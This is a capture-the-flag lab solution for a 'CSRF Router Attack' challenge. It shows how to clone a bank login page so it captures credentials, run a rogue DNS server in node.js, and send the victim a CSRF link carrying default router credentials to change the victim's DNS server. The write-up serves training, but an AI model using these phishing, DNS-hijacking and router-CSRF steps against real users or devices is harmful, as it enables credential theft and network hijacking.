Solution: CSRF Router Attack

Tools Used:

The big picture:

  1. We'll expose a fake Bitcoin Bank website that will capture credentials when JDawg attempts to login to it.
  2. We'll expose a DNS server that will point to OUR fake bitcoin bank website when JDawg tries to open the real Bitcoin Bank website.
  3. We'll craft a CSRF attack url, and send JDawg and email to get him to visit that url. This will update JDawg's DNS server to point to OUR DNS server.

Our fake Bitcoin Bank website.

Navigate to the real Bitcoin Bank Website provided in the scope.

We see we are presented with a login form. This is the page we need to clone. Right click and click save as to save the webpage in its entirety. Name the saved page "index.html".

Now drag the index.html file to a web browser to open it locally, and ensure it looks good, rendering identically to the target site.

Open up index.html in a text editor. Find the login form, you're looking for something that looks like this:

form action="https://php1.hackthe.company/challenge18/authenticate.php" method="post"
You want to change that form action to "?" and its method to "get" - this way, the username and password submitted will be visible in the url in our logs, making it super easy to retrieve it.

form action="?" method="get"
Then you need to expose this website somewhere at "http://IPADDRESS/challenge18" (e.g. "http://154.1.3.7/challenge18". This is the difficult part - it cannot be hosted at a domain but has to be at a root IP address, since we're faking this as the resolution to a DNS request.

One way to do this on your local machine is to make a folder named "challenge18", and move the "index.html" file and "index_files" folder you downloaded earlier into it. Then, while located one level above the "challenge18" folder, run something like this:

python -m SimpleHTTPServer 8234
Now open a browser to http://127.0.0.1:8234/challenge18/ and check to make sure it renders.

Now we need to expose the above on port 80 on an externally visible IP address. In the screenshot below, I set up port forwarding on my router to forward any requests to port 80 to my personal computer's port 8234. The "192.168.0.102" address is my local machine's IP, which I found running "ifconfig" or "ipconfig" in a terminal.



If the above will not work for you, you can also just temporarily rent a box in the cloud to achieve the same purpose - it just needs a dedicated IP address.

Now your website should be available at "http://23.1.2.3/challenge18/", where "23.1.2.3" is your personal IP address. If you do not know your IP address, you can visit cmyip.com.

Visit "http://23.1.2.3/challenge18/" and test out the login form, and confirm your 'captured' credentials show up in your terminal logs like so:







Save this IP address of yours (in our example, "23.1.2.3"), we'll be using it soon.

Our fake DNS server

There are many ways you can setup your own DNS server to return our 'fake' DNS responses. The simplest one I know of is using the open source dnsd library, a node.js DNS server.

Make a new file called dns-server.js and put the below inside of it - this will make a DNS server that responds to ALL requests with the IP address "1.2.3.4". Edit the "1.2.3.4" with your IP address from the previous step.

var dnsd = require('dnsd')
dnsd.createServer(function(req, res) {
  console.log("HIT");
  res.end('1.2.3.4')
}).listen(8989);
console.log('Server running at 127.0.0.1:8989');
In that same directory, run "npm install dnsd".

Now run "node dns-server.js".

We now have a DNS server running on our local machine on port 8989 - so similar to the previous step, we now need to expose that port to the world.

In the previous step we forwarded external requests on port 80 to our local machine's port 8234.

In this step we'll do the same thing on different ports. DNS runs on port 53, so we'll forward external requests on port 53 to our local machine's port 8989.

Our CSRF attack

Open the router login page. You'll see a prompt with HTTP Basic Authentication to login. It's a standard default username/password, if you cannot guess it just hit cancel and you'll see an error message which tells you its admin/admin. Now login.

You'll now see the router's configuration panel. While on that page, open the Chrome Developer Tools / inspector, then submit a request to update the DNS server to a random value. Find the request in the Network tab of the Chrome Developer Tools. You should see something like this:

http://php1.hackthe.company/routerlogin/main.php?dnsserver1=8.8.8.8
As you can see in Chrome's Network panel in Developer Tools, this is a GET request when you submit the form to update the DNS server, and it passes the new DNS server IP in the URL.

We now need to modify the url. First thing, replace the IP address on the end with the IP address of the fake DNS server you setup in the previous step - in our example here, that IP address is "23.1.2.3" (your personal IP address).

http://php1.hackthe.company/routerlogin/main.php?dnsserver1=23.1.2.3
One final change to the url - the user most likely does not have an active login session to their router. Because of that, let's insert the username/password into the url for HTTP Basic Authentication, with the standard default credentials for this router - like so:

http://admin:[email protected]/routerlogin/main.php?dnsserver1=23.1.2.3
And now... we have our crafted CSRF url, we just need to get the victim to trigger it. In this challenge, that's easy. We're told JDawg will click all links sent to him via email - so just send this link to him from any email address, and that's it.